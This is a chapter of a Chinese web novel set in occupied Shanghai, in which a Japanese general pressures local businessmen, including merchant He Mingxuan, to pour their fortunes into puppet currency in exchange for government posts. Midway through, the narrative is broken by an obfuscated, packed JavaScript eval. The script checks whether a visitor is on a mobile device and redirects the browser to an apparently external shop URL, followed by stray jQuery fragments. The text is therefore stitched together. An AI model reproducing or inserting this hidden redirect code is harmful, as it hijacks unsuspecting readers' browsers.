浅野信二端起茶杯,自信道:“帝**队兵锋正盛,公共租界和法租界迟早被我们接管。这些商人清楚得很,现在不投靠,等我们全面接管魔都,迎来的就是彻底清算。”
“我给他们开了一条生路,放了饵。他们如果不抢,就会被别人抢走!”
正说着,楼下传来汽车引擎的轰鸣声。
紧接着,第二辆、第三辆汽车接连停下。
影山健太快步走到窗前,拉开窗帘。
街道尽头,一列车队缓缓驶来,车灯将整条街照得透亮。
“将军。”影山健太瞪大眼睛,“来了,全来了。”
浅野信二继续倒茶:“去开门。按顺序放进来,一次只进一个。让他们在走廊里等着。”
贺明轩的汽车停在别墅外半条街的地方,前面已经彻底堵死。
他提着皮箱下车,快步走向别墅大门。
刚进院子,贺明轩愣在原地。
从院门到别墅一楼走廊,已经排起长龙。
全都是魔都有头有脸的商界大佬。
每个人手里都提着箱子,神色焦急。队伍中有人因为插队发生低声争吵,被一旁的宪兵用**砸了回去,顿时老实了。
“贺老板,你也来了。”旁边响起一个声音。
贺明轩转头。排在他前面两个身位的,是宴会上骂日本人最狠的面粉厂王老板。
王老板看着他,脸上挤出干笑。
贺明轩心里冷哼。
宴会上装清高,背地里当狗跑得比谁都积极。
“王老板腿脚挺利索。”贺明轩道。
王老板干咳两声:“时局艰难,混口饭吃罢了。这年头,谁手里有枪谁就是爷。这就是风口上的猪,站对位置都能飞起来。”
贺明轩没有接话,他看着前面长长的队伍。
这群老狐狸,背地里动作比谁都快。
浅野信二一分钱没出,就把魔都商界的底裤全扒了。
走廊气氛压抑。平时呼风唤雨的大佬们,此刻一个个缩着脖子,眼神焦灼地盯着二楼书房的门。
每隔十分钟,门打开一次,进去一个人。
出来的有人满脸红光,有人则是眉宇间遮不住的忧愁,快步从这里离开。
走廊里的队伍缓缓向前蠕动。
贺明轩提着皮箱的手有些发酸。
前方的木门再次打开。
一名宪兵走出来,指了指贺明轩。
“进。”
贺明轩胸膛起伏了一下,迈步走入书房。
书房内陈设简单。
浅野信二坐在宽大的办公桌后,手里翻阅着一份文件。
贺明轩走到桌前,弯腰鞠躬。
“浅野将军。”
浅野信二没有抬头,手里的钢笔在纸上划过,发出沙沙的声响。
贺明轩保持着鞠躬的姿势,后背的衬衫逐渐被汗水浸透。
足足过了一分钟。
浅野信二放下钢笔,靠在椅背上。
“贺先生,魔都商会的会长。你的资料,我在这两天里看过很多次。”
贺明轩直起身。
“将军过誉了。贺某只是个做小本生意的商人。”
“商人逐利,天经地义。”浅野信二双手交叉放在桌面上。“贺先生深夜来访,想必是做好了决定。”
贺明轩将皮箱放在地上。
“贺家愿意倾尽所有的现金,兑换中储券。只求将军能在新政府财政部,给贺某留一个位置。”
浅野信二发出一声轻笑。
“财政部。”
他站起身,走到贺明轩面前。
“这是一个管钱的部门。想要坐在这个位置上,光有现金可不够。”
“贺先生的产业遍布魔都,纱厂、面粉厂、地产。”
“我要的,是你贺家砸锅卖铁的态度。”
贺明轩喉结滚动。
“将军的意思是……”
“做个表率。”浅野信二拍了拍贺明轩的肩膀。“你把声势造得越大,带头作用越好,这个位置就越稳。只要你敢把全部身家押上来,新政府的委任状,我亲自送去贺公馆。”
贺明轩脑海中飞速盘算。
退一步,贺家可能被其他拿到权力的商人吞并。
进一步,就是把身家性命全交到东瀛人手里。
“贺某明白。”贺明轩再次鞠躬。“回去立刻筹办。”
贺明轩转身离开。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17258866|185650||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
书房的门关上。
影山健太从隔壁的暗间走出来。
“将军,贺明轩是个老狐狸。我们把价码开得这么高,要他倾家荡产,他会不会退缩?”
浅野信二端起茶杯,将残茶泼在盆栽里。
“他没得选。”
“贪欲被勾起来,就压不回去了。他哪怕砸锅卖铁,也会往这艘船上挤。”
……
贺公馆。
凌晨三点半。
大厅里烟雾缭绕。
贺明轩坐在主位上,将浅野信二的要求复述了一遍。
底下几个兄弟瞬间炸了锅。
“大哥!这绝对不行!”老三猛地站起身。“掏空现金就算了,还要动产业?这可是咱们爹一砖一瓦攒下来的基业!”
老四跟着附和。
“是啊大哥。浅野那老狐狸连个具体数字都不给,就让我们去争。这就是个无底洞。万一咱们把产业全砸进去,最后只捞个虚职,贺家就彻底完了。”
老五缩在沙发里,闷声说道:“我那边几个铺子最近亏空大,实在拿不出钱来凑这个热闹。”
贺明轩冷冷地看着这几个兄弟。
“之前是谁在书房里说,一点二倍的兑换比例,不仅不亏还能白赚两成利?”
“是谁说,不低头贺家几代人的基业就全毁了?”
大厅里鸦雀无声。
贺明轩端起茶杯,重重地磕在桌面上。
“现在真要割肉了,一个个都心疼了?”
“我告诉你们,开弓没有回头箭。今天晚上去排队的商人,能从街头排到街尾。”
“咱们不争这个财政部的位置,明天张胖子、李麻子拿到了,第一个查封的就是咱们的纱厂!”
贺明轩站起身,一锤定音。
“把名下的地产、商铺,全拿去抵押。凑出最大的数目。”
老三面如死灰。
“大哥,现在市面上银根紧得很。又摊上这样的事情,这么大笔的款子,华人的钱庄根本吃不下。就算能吃下,利息也能扒咱们一层皮。”
老四也急了。
“抵押给银行?那些洋人的银行现在看局势不稳,早就不放款了。”